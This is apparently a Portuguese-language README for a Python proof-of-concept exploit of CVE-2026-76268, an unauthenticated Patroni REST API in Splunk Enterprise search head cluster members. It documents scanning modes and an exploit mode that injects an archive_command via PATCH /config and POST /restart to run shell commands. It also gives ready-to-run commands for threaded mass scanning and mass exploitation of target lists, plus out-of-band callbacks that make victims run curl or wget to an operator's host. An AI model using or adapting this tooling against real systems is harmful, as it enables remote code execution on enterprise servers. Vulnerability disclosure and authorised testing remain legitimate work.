
PoC em Python para CVE-2026-76268: detecta a API REST do Patroni sem autenticação em membros do Splunk SHC e a explora por meio de injeção em archive_command para obter RCE.
PoC em Python 3 para a CVE-2026-76268 — Splunk Enterprise em membros do search head cluster (SHC). Aviso SVD-2026-1001.
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76268 |
| Aviso | https://advisory.splunk.com/advisories/SVD-2026-1001 |
| Componente | Sidecar do PostgreSQL (Storage) → API REST do Patroni |
| Afetado | 10.2.0 – 10.2.6, 10.4.0 – 10.4.2 |
| Correção | 10.2.7, 10.4.3 (e posteriores) |
| Não afetado (esta CVE) | 10.0.x, 9.4.x |
| CWE | CWE-306 — ausência de autenticação para função crítica |
| CVSS 3.1 | 9.8 Crítico |
| Marcador de verificação | POCBIT-76268-OK |
| PoCbit | https://pocbit.org/pocs/cve-2026-76268 |
Em membros do SHC do Splunk Enterprise vulneráveis, a API REST do Patroni (parte do sidecar do PostgreSQL introduzido no Splunk 10.x) aceita requisições que alteram o estado sem autenticação. Um atacante com acesso de rede ao listener do Patroni pode alterar a configuração dinâmica do cluster e disparar execução de comandos no sistema operacional por meio de parâmetros do PostgreSQL, como archive_command (cadeia PATCH /config + POST /restart do Patroni).
Esta PoC comunica-se diretamente com o Patroni (tipicamente TCP 8008, ou uma porta atribuída pelo IPC Broker do Splunk). Ela não utiliza o Splunk Web (8000) nem a porta de gerenciamento do Splunk (8089). Essa é uma superfície diferente (por exemplo, problemas históricos do sidecar via proxy do splunkd).
Pré-condições para impacto no mundo real:
[postgres] está habilitado (disabled = true remove o Patroni).cd CVE-2026-76268
pip install -r requirements.txt
requests, urllib3| Modo | Finalidade |
|---|---|
check (padrão) | Encontrar o Patroni em portas comuns; testar PATCH /config sem autenticação |
exploit | Executar a cadeia de RCE do Patroni (archive_command + reinício) |
| Mass | --list FILE com threads -j; grava JSONL + listas opcionais de hits/exploits |
Você deve passar ou -t TARGET ou --list FILE.
-t / linhas em --list)| Formato | Exemplo |
|---|---|
| Somente host (varredura de portas padrão) | 192.168.1.50 |
| Host + porta | 192.168.1.50:8008 |
| URL completa | http://10.0.0.5:8008 |
Comentários em arquivos de lista: linhas que começam com # são ignoradas.
Descobrir o Patroni e avaliar se alterações de configuração sem autenticação parecem permitidas.
python poc.py -t 192.168.1.50 --mode check
python poc.py -t 192.168.1.50:8008 --mode check
python poc.py --list targets.example.txt --mode check -j 20 --vuln-list hits.txt
O que o PoC faz:
GET /patroni (ou /) em cada porta em --ports (padrão 8008,8009,8010,18008).PATCH /config com um corpo JSON vazio e sem credenciais.exploitable_candidate: true quando o Patroni responde e o PATCH não é rejeitado com 401/403.Flags úteis:
| Flag | Significado |
|---|---|
--ports | Portas do Patroni separadas por vírgula a serem verificadas |
--port | Ignora a verificação; usa apenas uma porta |
--timeout | Timeout HTTP (segundos, padrão 20) |
--proxy | Proxy HTTP(S) para as requisições |
--output | Log JSONL (padrão cve_2026_76268_results.jsonl) |
--vuln-list | Candidatos separados por tabulação (padrão hits.txt) |
--quiet | Menos saída no console |
--no-color | Terminal simples |
Código de saída: 0 se exploitable_candidate for verdadeiro; caso contrário, 1.
Fluxo de trabalho recomendado: verificação em massa → revisar hits.txt → exploração em massa apenas em hosts autorizados.
--mode exploit)Executa a cadeia de injeção de configuração do Patroni. Isso altera a configuração dinâmica ativa do sidecar/PostgreSQL no alvo.
--port esteja definido).PATCH /config retornar 401/403.PATCH /config — define wal_level=replica, archive_mode=always, archive_timeout=1 e seu archive_command.POST /restart — aplica a configuração pendente do PostgreSQL.--wait-archive (padrão 3); archive_command é executado no ciclo de arquivamento do WAL (não instantaneamente).# OOB verification (recommended): callback receives GET .../POCBIT-76268-OK
python poc.py -t 192.168.1.50:8008 --mode exploit --oob http://YOUR_IP:8888
# Lab marker file on the Splunk host (runs as sidecar/Postgres user)
python poc.py -t 192.168.1.50 --mode exploit --wait-archive 5
# Custom shell command (your responsibility to quote safely)
python poc.py -t 192.168.1.50 --mode exploit --command "id > /tmp/splunk-poc"
# Force port, longer wait for slow archives
python poc.py -t 192.168.1.50 --mode exploit --port 8008 --wait-archive 10
python poc.py --list hits.txt --mode exploit -j 5 --oob http://CALLBACK:8888
Saídas:
--output — JSONL completo (o exploit em massa usa cve_2026_76268_exploit.jsonl por padrão se você manteve o nome padrão).--exploited-list — linhas onde exploited: true (padrão exploited.txt).| Flag | Significado |
|---|---|
--oob URL | URL base; o comando executa curl/wget para URL/POCBIT-76268-OK |
--command | String completa de archive_command do PostgreSQL (substitui o padrão OOB) |
--wait-archive | Segundos de espera após o restart antes de o PoC encerrar |
--ports / --port | Descoberta de portas ou porta Patroni fixa |
--tls | Usa https:// para o Patroni (incomum na documentação padrão do sidecar do Splunk) |
Comando padrão quando nem --oob nem --command estão definidos:
touch /tmp/POCBIT-76268-OK
Código de saída: 0 quando o PATCH e o restart são aceitos (exploited: true). Isso significa que a cadeia foi entregue, não que seu callback ou prova em arquivo já disparou. Confirme com verificações OOB ou no sistema de arquivos do host.
Importante: o Patroni pode ignorar alterações dinâmicas se os mesmos parâmetros estiverem travados na configuração local (hardening do fornecedor). Nesse caso, o exploit pode falhar mesmo em builds antigos do Splunk.
-t)Impressa em stdout (JSON formatado). O modo em massa grava um objeto JSON por linha.
| Campo | Significado |
|---|---|
mode | check ou exploit |
host / target | Entrada normalizada |
patroni_base | ex.: http://192.168.1.50:8008 |
patroni_port | Porta em que o Patroni respondeu |
patroni_role | De GET /patroni (ex.: primary) |
unauth_patch | Check: PATCH permitido sem autenticação |
exploitable_candidate | Check: superfície provavelmente vulnerável |
exploited | Exploit: PATCH + restart bem-sucedidos |
patch / restart | Status HTTP e prévia do corpo |
verify | Dica: caminho OOB ou /tmp/POCBIT-76268-OK |
error | Motivo da falha (auth_required_patched_or_hardened, no_patroni_on_ports, …) |
pocbit, pocbit_page, verify_marker | Metadados do PoCbit |